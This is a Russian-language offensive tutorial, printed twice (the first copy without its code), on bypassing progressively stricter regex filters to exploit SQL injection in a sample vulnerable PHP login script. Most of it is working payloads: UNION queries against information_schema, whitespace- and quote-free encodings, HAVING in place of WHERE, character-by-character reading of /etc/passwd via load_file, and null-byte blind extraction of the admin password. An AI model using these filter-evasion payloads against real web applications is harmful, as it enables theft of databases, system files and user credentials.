Автор : Pashkela
Оригинал статьи: http://websec.wordpress.com/
Итак, рассмотрим следующий уязвимый php-скрипт:
Примечание: на дисплей выводится только одно имя из результата запроса.
Приступим. Как видно, параметр “id” подвержен SQL-инъекии. Проверяем:
На экран выведется имя из запроса в случае второго варианта. Также мы может посмотреть имена всех юзеров
использую лимит:
Но имена пользователей для нас не так интересны, как их пароли. А чтобы узнать пароли, мы сначала должны узнать
названия таблиц и колонок:
в общем-то и все. Мы получили желаемое. Это классичесская ситуация. Теперь рассмотрим варианты, когда в дело вступают фильтры значения id.
1. Фильтруются пробелы, кавычки и слеши.
т.е. в исходном коде вставили такую фильтрацию id:
Как мы видели из вариантов раскрутки sql-инъекции в начале, там использовались и пробелы и кавычки. Сначала нам приходит в голову заменить пробелы на /*комментарии*/, но слеши, как видно, тоже фильтруются. Ну что же, поробуем обойтись вовсе без пробелов:
С виду вроде то, что надо, однако в конце все-таки присутствует пробел после limit. Но у нас есть функция group_concat(), которая поможет нам получение списка всех таблиц без использования limit. А т.к. длина полученного результат (имена всех таблиц, что влезут в group_concat() - ограничение 1024) , может получиться очень большой, мы можем получать результат частями, используя mid() или substring():
Для получения имен колонок и чтобы не использовать кавычки, захексим имя таблицы:
В приципе всё - ни пробелов, ни слешей, ни кавычек мы не использовали и удачно обошли фильтр.
2. Фильтрация базовых словосочетаний, применяемых при sql-запросах
Теперь в нашем исходнике вставили такой фильтр:
Т.е. добавили фильтрацию на “and”, “null”, “where” and “limit”
Проверяем, есть ли вообще sql-инъекция, но уже другим способом:
Результат одинаковый - скуля есть. Чтобы получить возможность влиять на sql-инъекцию и вызвать ошибку, подставим несуществующий id - 0, и, вспомнив про фильтр, сделаем такие запросы (предварительно узнав кол-во колонок, разумеется) без where и limit:
Таким образом мы сможем получить имена всех таблиц и колонок, как правильно использовать group_concat() для обхождения лимита в 1024 байта можно прочитать здесь.
3. Алтернатива WHERE.
Как вариант можно использовать ORDER BY column_name DESC для получения имен таблиц, но не сработает, т.к. ORDER BY использует пробелы и так мы фильтр не обойдем. Посмотрим в сторону HAVING. Сначала посмотрим, какие базы доступны для просмотра:
Не забываем про ограничение в 1024 байта, посмотрим database() чтобы узнать имя текущей базы:
Допустим, что имя текущей БД “test”, что в хексе будет “0Ч74657374″ и попробуем получить все таблицы из базы “test” с помощью HAVING без использования WHERE:
Вспомним, что на экран нам выводится только один результат выполненного запроса и, для получения имени второй таблицы, мы можем воспользоваться такой конструкцией:
Обратите внимание, мы использали && вместо AND, чтобы обойти фильтр. Получив имена всех таблиц, таким же способом мы получаем колонки:
Единственный недостаток такого метода, что совместно с HAVING мы не можем использовать group_concat(), поэтому придется перебирать каждую запись.
еще вариант (без использования "=" и "!=" - если фильтруются):
4. Усложняем фильтр.
Как видим, добавился фильтр на слова union|select|from|having. В таком случае мы можем лишь воспользоваться load_file() если у текущего юзера file_priv=Y и прочитать интересующий нас файл.
Но мы не можем использовать load_file() при такой фильтрации обычным способом, т.к. мы не может использовать union select, поэтому у нас будет такая альтернатива:
Сначала мы должны проверить, что мы можем прочитать файл. Load_file() вернет “null” если файл не может быть прочитан, но т.к. “null” фильтруется, мы можем использовать функцию coalesce() которая возврает первое not-null значение из списка:
При удачном запросе вернется размер файла, который мы хотим прочитать, при неудачном - 1.
Будем использовать оператор CASE для посимвольного чтения файла:
где $char - это sql хекс-значение символа файла в позиции $x
Таким образом мы обойдем фильтр и сможем прочитать файл, если у нас есть соответствующие привелегии (file_priv=Y).
6. Фильтр практически на все.
Добавим фильтр, что хекер не смог воспользоваться LOAD_FILE и также добавим в список SQL-комментарии:
SQL-инъекция по прежнему есть, но эксплуатировать её невозможно, с первого взгляда. Что же можно сделать в такой ситуации?
Мы не можем использовать procedure analyse(), про который прочитать можно здесь, потому что он использует пробелы в своей конструкции, и мы не можем использовать трюк с ‘1′%’0′
Но выход есть. Первое, что мы должны помнить, это что мы уже находимся в SELECT запросе и мы можем попробовать добавить дополнительные условия в текущее WHERE. Единственная проблема в том, что мы можем получить доступ только к тем колонкам, которые участвуют в запросе, нам остается только узнать их имена. В нашем примере не трудно догадаться, какие у них имена, очень часто бывают такие {password, passwd, pass, pw, userpass} и т.д. Предположим, мы догадались, что колонка с паролем называется pass. Так как нам получить значение из pass? Обычный blind sql-запрос выглядел бы так:
Если первый символ пароля ‘a’ (удачный запрос) - покажет 1, при неудачном - 0. Такой вариант сработает без дополнительных SELECT, т.к. в данном случае нам не требуется доступ к другим таблицам.
Вспомним про фильтры. Чтобы обойти их, сделаем такой запрос:
Испольуем нуль-байт вместо стандартных коментариев (которые в списке фильтра) чтобы отсечь проверку на правильный пароль из оригинального sql-запроса.
Таким образом мы можем шаг за шагом извлечь все символы пароля, правильность подобранного пароля в итоге потдвертдится выведенным на экран именем юзера. Также мы можем получить пароли всех юзеров по их id:
Конечно, получения пароля займет время, но если нам надо получить пароль админа и мы знаем, например, что его ник 'admin', но мы не знаем его id, то в обычной ситуации можно было сделать такой запрос:
вспомнив про фильтры немного переделаем его:
Но такой вариант не сработает, т.к. “OR 1=1″ в начале запроса имеет приоритет над последующими “AND”, поэтому мы будем всегда наблюдать пароль первого юзера из таблицы, поэтому мы принудительно сравним колонку id с колонкой id (т.е. саму с собой), чтобы осуществить нашу проверку на логин/пароль независимо от id:
Если символ пароля будет угадан верно, то мы увидим “Hello admin”, при неправильном запросе мы не увидим ничего.
Таким образом мы опять обошли все фильтры.
6. Фильтр практически на все и еще больше.
Добавим в фильтр “=”, “|” and “&”:
Т.к. "=" фильтруется, мы можем использовать “like” или “regexp” и т.д.:
Как видим, символ “|” не используется. Но что же делать с “&”? Сможем ли мы получить результат без использования логических операторов? Сможем, используя функцию if(). Сначала попробуем узнать id, которому соответствует name = ‘admin’:
В случае удачи вернет 1, если неправильно - 0. Теперь, чтобы узнать id админа, поставим именно id вместо 1 в нашем запросе:
Ну а теперь, что получить пароль админа, у нас будет такой запрос (с комментариями):
Что в одну строчку будет выглядеть так:
Если символ пароля будет угадан правильно, то мы увидим “Hello admin”, иначе мы не увидим ничего(id=0).
Конец.
Оригинал статьи: http://websec.wordpress.com/
Итак, рассмотрим следующий уязвимый php-скрипт:
Код:
<?php
// тут соединение с БД
$id = $_GET['id'];
$pass = mysql_real_escape_string($_GET['pass']);
$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");
if($data = @mysql_fetch_array($result))
echo "Welcome ${data['name']}";
?>
Примечание: на дисплей выводится только одно имя из результата запроса.
Приступим. Как видно, параметр “id” подвержен SQL-инъекии. Проверяем:
Код:
1) ?id=1 and 1=0-- -
2) ?id=1 and 1=1-- -
На экран выведется имя из запроса в случае второго варианта. Также мы может посмотреть имена всех юзеров
использую лимит:
Код:
?id=1 or 1=1 LIMIT x,1--
Но имена пользователей для нас не так интересны, как их пароли. А чтобы узнать пароли, мы сначала должны узнать
названия таблиц и колонок:
Код:
?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1--
?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1--
?id=1 and 1=0 union select null,password,null from users limit 1,1--
в общем-то и все. Мы получили желаемое. Это классичесская ситуация. Теперь рассмотрим варианты, когда в дело вступают фильтры значения id.
1. Фильтруются пробелы, кавычки и слеши.
т.е. в исходном коде вставили такую фильтрацию id:
Код:
if(preg_match('/\s/', $id))
exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
exit('attack'); // no slashes
Как мы видели из вариантов раскрутки sql-инъекции в начале, там использовались и пробелы и кавычки. Сначала нам приходит в голову заменить пробелы на /*комментарии*/, но слеши, как видно, тоже фильтруются. Ну что же, поробуем обойтись вовсе без пробелов:
Код:
?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1--)
С виду вроде то, что надо, однако в конце все-таки присутствует пробел после limit. Но у нас есть функция group_concat(), которая поможет нам получение списка всех таблиц без использования limit. А т.к. длина полученного результат (имена всех таблиц, что влезут в group_concat() - ограничение 1024) , может получиться очень большой, мы можем получать результат частями, используя mid() или substring():
Код:
?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))#
Для получения имен колонок и чтобы не использовать кавычки, захексим имя таблицы:
Код:
?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))#
В приципе всё - ни пробелов, ни слешей, ни кавычек мы не использовали и удачно обошли фильтр.
2. Фильтрация базовых словосочетаний, применяемых при sql-запросах
Теперь в нашем исходнике вставили такой фильтр:
Код:
if(preg_match('/\s/', $id))
exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
exit('attack'); // no slashes
if(preg_match('/(and|null|where|limit)/i', $id))
exit('attack'); // no sqli keywords
Т.е. добавили фильтрацию на “and”, “null”, “where” and “limit”
Проверяем, есть ли вообще sql-инъекция, но уже другим способом:
Код:
?id=1#
?id=2-1#
Результат одинаковый - скуля есть. Чтобы получить возможность влиять на sql-инъекцию и вызвать ошибку, подставим несуществующий id - 0, и, вспомнив про фильтр, сделаем такие запросы (предварительно узнав кол-во колонок, разумеется) без where и limit:
Код:
?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))#
?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))#
Таким образом мы сможем получить имена всех таблиц и колонок, как правильно использовать group_concat() для обхождения лимита в 1024 байта можно прочитать здесь.
3. Алтернатива WHERE.
Как вариант можно использовать ORDER BY column_name DESC для получения имен таблиц, но не сработает, т.к. ORDER BY использует пробелы и так мы фильтр не обойдем. Посмотрим в сторону HAVING. Сначала посмотрим, какие базы доступны для просмотра:
Код:
?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))#
Не забываем про ограничение в 1024 байта, посмотрим database() чтобы узнать имя текущей базы:
Код:
?id=(0)union(select(0),database(),(0))#
Допустим, что имя текущей БД “test”, что в хексе будет “0Ч74657374″ и попробуем получить все таблицы из базы “test” с помощью HAVING без использования WHERE:
Код:
?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))#
Вспомним, что на экран нам выводится только один результат выполненного запроса и, для получения имени второй таблицы, мы можем воспользоваться такой конструкцией:
Код:
?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))#
Обратите внимание, мы использали && вместо AND, чтобы обойти фильтр. Получив имена всех таблиц, таким же способом мы получаем колонки:
Код:
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))#
Единственный недостаток такого метода, что совместно с HAVING мы не можем использовать group_concat(), поэтому придется перебирать каждую запись.
еще вариант (без использования "=" и "!=" - если фильтруются):
Код:
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(NOT((column_name)like(0x6964)))))#
4. Усложняем фильтр.
Код:
if(preg_match('/\s/', $id))
exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
exit('attack'); // no slashes
if(preg_match('/(and|or|null|where|limit)/i', $id))
exit('attack'); // no sqli keywords
if(preg_match('/(union|select|from|having)/i', $id))
exit('attack'); // no sqli keywords
Как видим, добавился фильтр на слова union|select|from|having. В таком случае мы можем лишь воспользоваться load_file() если у текущего юзера file_priv=Y и прочитать интересующий нас файл.
Но мы не можем использовать load_file() при такой фильтрации обычным способом, т.к. мы не может использовать union select, поэтому у нас будет такая альтернатива:
Сначала мы должны проверить, что мы можем прочитать файл. Load_file() вернет “null” если файл не может быть прочитан, но т.к. “null” фильтруется, мы можем использовать функцию coalesce() которая возврает первое not-null значение из списка:
Код:
?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1))
При удачном запросе вернется размер файла, который мы хотим прочитать, при неудачном - 1.
Будем использовать оператор CASE для посимвольного чтения файла:
Код:
?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end)
где $char - это sql хекс-значение символа файла в позиции $x
Таким образом мы обойдем фильтр и сможем прочитать файл, если у нас есть соответствующие привелегии (file_priv=Y).
6. Фильтр практически на все.
Добавим фильтр, что хекер не смог воспользоваться LOAD_FILE и также добавим в список SQL-комментарии:
Код:
if(preg_match('/\s/', $id))
exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id))
exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id))
exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id))
exit('attack'); // no sqli select keywords
if(preg_match('/(into|file|case)/i', $id))
exit('attack'); // no sqli operators
if(preg_match('/(--|#|\/\*)/', $id))
exit('attack'); // no sqli comments
SQL-инъекция по прежнему есть, но эксплуатировать её невозможно, с первого взгляда. Что же можно сделать в такой ситуации?
Мы не можем использовать procedure analyse(), про который прочитать можно здесь, потому что он использует пробелы в своей конструкции, и мы не можем использовать трюк с ‘1′%’0′
Но выход есть. Первое, что мы должны помнить, это что мы уже находимся в SELECT запросе и мы можем попробовать добавить дополнительные условия в текущее WHERE. Единственная проблема в том, что мы можем получить доступ только к тем колонкам, которые участвуют в запросе, нам остается только узнать их имена. В нашем примере не трудно догадаться, какие у них имена, очень часто бывают такие {password, passwd, pass, pw, userpass} и т.д. Предположим, мы догадались, что колонка с паролем называется pass. Так как нам получить значение из pass? Обычный blind sql-запрос выглядел бы так:
Код:
?id=(case when(mid(pass,1,1)='a') then 1 else 0 end)
Если первый символ пароля ‘a’ (удачный запрос) - покажет 1, при неудачном - 0. Такой вариант сработает без дополнительных SELECT, т.к. в данном случае нам не требуется доступ к другим таблицам.
Вспомним про фильтры. Чтобы обойти их, сделаем такой запрос:
Код:
?id=1&&mid(pass,1,1)=(0x61);%00
Испольуем нуль-байт вместо стандартных коментариев (которые в списке фильтра) чтобы отсечь проверку на правильный пароль из оригинального sql-запроса.
Таким образом мы можем шаг за шагом извлечь все символы пароля, правильность подобранного пароля в итоге потдвертдится выведенным на экран именем юзера. Также мы можем получить пароли всех юзеров по их id:
Код:
?id=2&&mid(pass,1,1)=(0x61);%00
?id=3&&mid(pass,1,1)=(0x61);%00
Конечно, получения пароля займет время, но если нам надо получить пароль админа и мы знаем, например, что его ник 'admin', но мы не знаем его id, то в обычной ситуации можно было сделать такой запрос:
Код:
?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00
вспомнив про фильтры немного переделаем его:
Код:
?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00
Но такой вариант не сработает, т.к. “OR 1=1″ в начале запроса имеет приоритет над последующими “AND”, поэтому мы будем всегда наблюдать пароль первого юзера из таблицы, поэтому мы принудительно сравним колонку id с колонкой id (т.е. саму с собой), чтобы осуществить нашу проверку на логин/пароль независимо от id:
Код:
?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00
Если символ пароля будет угадан верно, то мы увидим “Hello admin”, при неправильном запросе мы не увидим ничего.
Таким образом мы опять обошли все фильтры.
6. Фильтр практически на все и еще больше.
Добавим в фильтр “=”, “|” and “&”:
Код:
if(preg_match('/\s/', $id))
exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id))
exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id))
exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id))
exit('attack'); // no sqli select keywords
if(preg_match('/(into|file|case)/i', $id))
exit('attack'); // no sqli operators
if(preg_match('/(--|#|\/\*)/', $id))
exit('attack'); // no sqli comments
if(preg_match('/(=|&|\|)/', $id))
exit('attack'); // no boolean operators
Т.к. "=" фильтруется, мы можем использовать “like” или “regexp” и т.д.:
Код:
?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00
Как видим, символ “|” не используется. Но что же делать с “&”? Сможем ли мы получить результат без использования логических операторов? Сможем, используя функцию if(). Сначала попробуем узнать id, которому соответствует name = ‘admin’:
Код:
?id=if((name)like(0x61646D696E),1,0);%00
В случае удачи вернет 1, если неправильно - 0. Теперь, чтобы узнать id админа, поставим именно id вместо 1 в нашем запросе:
Код:
?id=if((name)like(0x61646D696E),id,0);%00
Ну а теперь, что получить пароль админа, у нас будет такой запрос (с комментариями):
Код:
?id=
if(
// if (it gets true if the name='admin')
if((name)like(0x61646D696E),1,0),
// then (if first password char='a' return admin id, else 0)
if(mid((password),1,1)like(0x61),id,0),
// else (return 0)
0
);%00
Что в одну строчку будет выглядеть так:
Код:
?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00
Если символ пароля будет угадан правильно, то мы увидим “Hello admin”, иначе мы не увидим ничего(id=0).
Конец.